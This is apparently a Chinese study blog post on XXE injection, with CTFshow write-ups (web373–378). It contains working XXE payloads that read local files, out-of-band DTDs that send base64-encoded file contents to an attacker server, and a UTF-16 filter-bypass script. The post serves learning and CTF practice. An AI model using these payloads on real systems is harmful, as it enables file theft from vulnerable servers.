XXE漏洞学习
XXE漏洞学习
XXE又名XML外部实体注入。学习XXE之前,我们首先来了解一下XML语言
XML文档
初始XML
什么是XML?xmL是独立于软件和硬件的信息传输工具,XML是被设计用来结构化,存储以及传输信息的。它其实和HTML很像但是它的宗旨是传输数据,而不是显示数据。HTML被用来显示数据,而XML被用来传输和存储数据。
XML的用途:
1.在HTML中显示动态数据,xml把数据从HTML中分离,这样HTML就可以专注于布局和显示。而读取XML我们仅仅需要几行简单的JavaScript代码。
2.XML 简化数据共享,在真实的世界中,计算机系统和数据使用不兼容的格式来存储数据。XML 数据以纯文本格式进行存储,因此提供了一种独立于软件和硬件的数据存储方法。
3.XML 简化数据传输,由于可以通过各种不兼容的应用程序来读取数据,以 XML 交换数据降低了这种复杂性。
XML文档结构
-
XML文档结构包括XML声明, -
DTD文档定义类型(可选),XXE漏洞所在的地方 -
文档元素,属性,实体
<!--XML声明-->
<?xml version="1.0"?>
<!--文档定义类型-->
<!DOCTYPE note [ <!--定义此文档是note类型的文档-->
<!ELMENT note(to,from,heading,body)> <!--定义note根元素下有四个元素-->
<!ELMENT to(#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELMENT from(#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
</note>
XML元素:
XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。一个元素可以包含:其他元素,文本,属性,或混合以上所有...比如说下面的<book>元素
<book category="CHILDREN">
<title>Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
DTD分析与漏洞应用
-
DTD文件是用来定义合法的XML文档模块的 -
在引用实体位置层面上XML实体分为俩种:内部实体和外部实体
-
还可以从另一个层面上化分为:通用实体和参数实体
内部实体&外部实体
内部实体DTD:
<!--XML声明-->
<?xml version="1.0"?>
<!--文档定义类型-->
<!DOCTYPE note [ <!--定义此文档是note类型的文档-->
<!ELMENT note(to,from,heading,body)> <!--定义note根元素下有四个元素-->
<!ELMENT to(#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELMENT from(#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
</note>
外部实体DTD:漏洞利用点
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <!--"note.dtd"同样可以替换为file:///flag.php-->
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
如上述代码一样,外部引用实体可以让我利用成敏感文件读取
通用实体&参数实体
通用实体DTD:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "test.dtd" >]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
参数实体DTD:无回显漏洞
参数实体只能在DTD中使用,这里我们直接上无回显XXE的exp进行分析
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
exp:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip:8080/test.dtd">
%remote;%int;%send;
]>
分析:假定后端代码是这样子的:
libxml_disable_entity_loader(false); //必须可以好含外部实体
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
当执行到PHP第三行代码时解析exp,接下来就是3个实体参数的引用顺序%remote;:请求远程的外部的实体把test.dtd包含进来;%int;:这里会解析%file;,将%file;获得的内容放入p的位置;最后%send;通过远程访问将我们读取到的内容发送给ip:9999
注意:如果我们读取的文件中包含一些特殊的符号时候,那么php伪协议读取文件需要进行base64编码,
CTF题目
CTFshow--web373
有回显读取本地敏感文件
<?php
error_reporting(0);
libxml_disable_entity_loader(false); //flase:启外动使用部实体
$xmlfile = file_get_contents('php://input'); //读取post部分的内容
if(isset($xmlfile)){
$dom = new DOMDocument(); //新建一个xml对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //将变量$xmlfile转换成xml文档
$creds = simplexml_import_dom($dom); //实例化 此处出现了漏洞的利用
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
libxml_disable_entity_loader(false); 这个函数其实在开发中不建议开启,如果是flase则允许外部实体引用,true值是不允许外部实体引用
如果有了前面的知识,这部分exp是很简单构造出来的:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]> <!--"note.dtd"同样可以替换为file:///flag.php-->
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
CTFshow--web374
无回显读取本地敏感文件
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 实例化,漏洞出发点
}
highlight_file(__FILE__);
没有了对XML实体的操作,同时也就意味这没有了回显。DTD部分的参数实体可以进行漏洞应用,前面以经经过分析了,这里也就不在赘述。
test.dtd文件,该文件放在自己的服务器的一个目录下
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:1106?p=%file;'>">
在当前目录用python开启一个http服务
python3 -m http.server 8080
exp:在burp中发送该内容
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip:8080/test.dtd">
%remote;%int;%send;
]>
在自己的服务器端开启监听得到了回显。

CTFshow--web375
无回显有过滤读取敏感文件
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //实例化,漏洞触发点
}
highlight_file(__FILE__);
分析:过滤了XML的声明,但是有无它都一样。至于过滤了http,直接utf-16编码绕过即可
在自己的vps上用python开启一个http服务
python3 -m http.server 8080
python脚本:
import requests
url = "http://ec9cbf54-0277-47a5-8331-1fa5af01a589.challenge.ctf.show/"
exp = """<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://121.89.236.98:8080/test.dtd">
%remote;%int;%send;
]>"""
exp = exp.encode('utf-16')
r = requests.post(url,data = exp)
print("ok!")
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:1106?p=%file;'>">
开启监听得到回显:

ctfshow-376,377与375题目类似
CTFshow--web378
打开时一个登录框,题目上说是python xxe。但是仔细一想xmL貌似只是用来传输数据,和显示布局数据没有关系。
随便试一下exp得到flag:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>
&xxe;
</username><password>
admin
</password></user>
flag:ctfshow{f5834b0e-2dd3-4468-b744-a62d3d4c6bb4}

浙公网安备 33010602011771号